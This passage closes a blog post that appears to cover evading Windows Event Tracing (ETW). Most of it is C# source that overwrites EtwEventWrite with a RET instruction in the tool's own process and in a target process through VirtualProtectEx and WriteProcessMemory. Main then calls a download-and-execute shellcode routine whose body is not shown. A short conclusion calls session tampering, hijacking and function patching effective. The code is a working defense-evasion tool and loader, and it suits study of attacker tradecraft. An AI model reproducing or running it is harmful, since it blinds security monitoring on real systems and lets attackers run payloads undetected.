            var localNtdllAddress = GetLibraryAddress("ntdll.dll", "EtwEventWrite");
            var localNtdllBaseAddress = GetRemoteNtdllBaseAddress(Process.GetCurrentProcess());
            var offset = (long)localNtdllAddress - (long)localNtdllBaseAddress;

            Console.WriteLine("ETW Event Write offset: 0x{0}", offset.ToString("X"));
            return (IntPtr)offset;
        }

        private static void ModifyRemoteMemory(IntPtr processHandle, IntPtr address, byte newValue)
        {
            Console.WriteLine("Modifying remote memory...");
            const int PAGE_EXECUTE_READWRITE = 0x40;

            if (!VirtualProtectEx(processHandle, address, (UIntPtr)1, PAGE_EXECUTE_READWRITE, out var oldProtect))
            {
                throw new InvalidOperationException("Failed to change memory protection.");
            }

            if (!WriteProcessMemory(processHandle, address, new[] { newValue }, 1, out _))
            {
                throw new InvalidOperationException("Failed to write to the memory.");
            }

            if (!VirtualProtectEx(processHandle, address, (UIntPtr)1, oldProtect, out _))
            {
                throw new InvalidOperationException("Failed to restore memory protection.");
            }
            Console.WriteLine("Remote memory modified.");
        }

        private static void PatchEtw(IntPtr processHandle, IntPtr remoteNtdllBaseAddress)
        {
            Console.WriteLine("Patching ETW...");
            IntPtr etwEventWriteOffset = GetEtwEventWriteOffset();
            IntPtr remoteEtwEventWriteAddress = (IntPtr)((long)remoteNtdllBaseAddress + (long)etwEventWriteOffset);

            byte newValue = 0xC3; // RET
            ModifyRemoteMemory(processHandle, remoteEtwEventWriteAddress, newValue);
            Console.WriteLine("ETW patched.");
        }

        public static IntPtr GetLibraryAddress(string dllName, string functionName)
        {
            Console.WriteLine("Getting address of {0} from {1}...", functionName, dllName);
            IntPtr hModule = LoadLibrary(dllName);
            if (hModule == IntPtr.Zero)
            {
                throw new DllNotFoundException($"Unable to load library: {dllName}");
            }
            IntPtr functionAddress = GetProcAddress(hModule, functionName);
            if (functionAddress == IntPtr.Zero)
            {
                throw new EntryPointNotFoundException($"Unable to find function: {functionName}");
            }
            Console.WriteLine("Address of {0} from {1} obtained: 0x{2}", functionName, dllName, functionAddress.ToString("X"));
            return functionAddress;
        }

        public static void Main(string[] args)
        {
            // Begin ETW patching process
            Console.WriteLine("[*] ----- Patching ETW ----- [*]");
            int targetProcessId = GetProcId(args);
            Process targetProcess = Process.GetProcessById(targetProcessId);
            IntPtr targetProcessHandle = targetProcess.Handle;

            // Load the functions from kernel32.dll
            IntPtr vpeAddress = GetLibraryAddress("kernel32.dll", "VirtualProtectEx");
            IntPtr wpmAddress = GetLibraryAddress("kernel32.dll", "WriteProcessMemory");

            var VirtualProtectEx = (VirtualProtectExDelegate)Marshal.GetDelegateForFunctionPointer(vpeAddress, typeof(VirtualProtectExDelegate));
            var WriteProcessMemory = (WriteProcessMemoryDelegate)Marshal.GetDelegateForFunctionPointer(wpmAddress, typeof(WriteProcessMemoryDelegate));

            // Patch the ETW
            IntPtr currentNtdllBaseAddress = GetRemoteNtdllBaseAddress(Process.GetCurrentProcess());
            PatchEtw(Process.GetCurrentProcess().Handle, currentNtdllBaseAddress);
            IntPtr remoteNtdllBaseAddress = GetRemoteNtdllBaseAddress(targetProcess);
            PatchEtw(targetProcessHandle, remoteNtdllBaseAddress);

            Console.WriteLine("[*] ETW patching complete.");

            // Download and execute the shellcode
            Console.WriteLine("[*] ----- Starting Download and Execute Process ----- [*]");

            // Enter to execute the shellcode
            Console.WriteLine("Press Enter to execute the shellcode...");
            Console.ReadLine();

            DownloadAndExecute();
        }

        private delegate bool VirtualProtectExDelegate(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
        private delegate bool WriteProcessMemoryDelegate(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
    }
}

By examining the address of EtwEventWrite in WinDbg, we can confirm that the patch was successfully applied, causing the function to return immediately without being executed.

POC

Conclusion

In my exploration, I’ve tested various techniques, some of which didn’t yield the desired results. However, the main strategies—tampering with ETW trace sessions, hijacking sessions, and patching ETW functions—proved to be effective.

I hope you find these insights valuable and intriguing! If you notice any inaccuracies or have suggestions, please let me know! I want to learn from my mistakes :).

References

Tags:

Updated: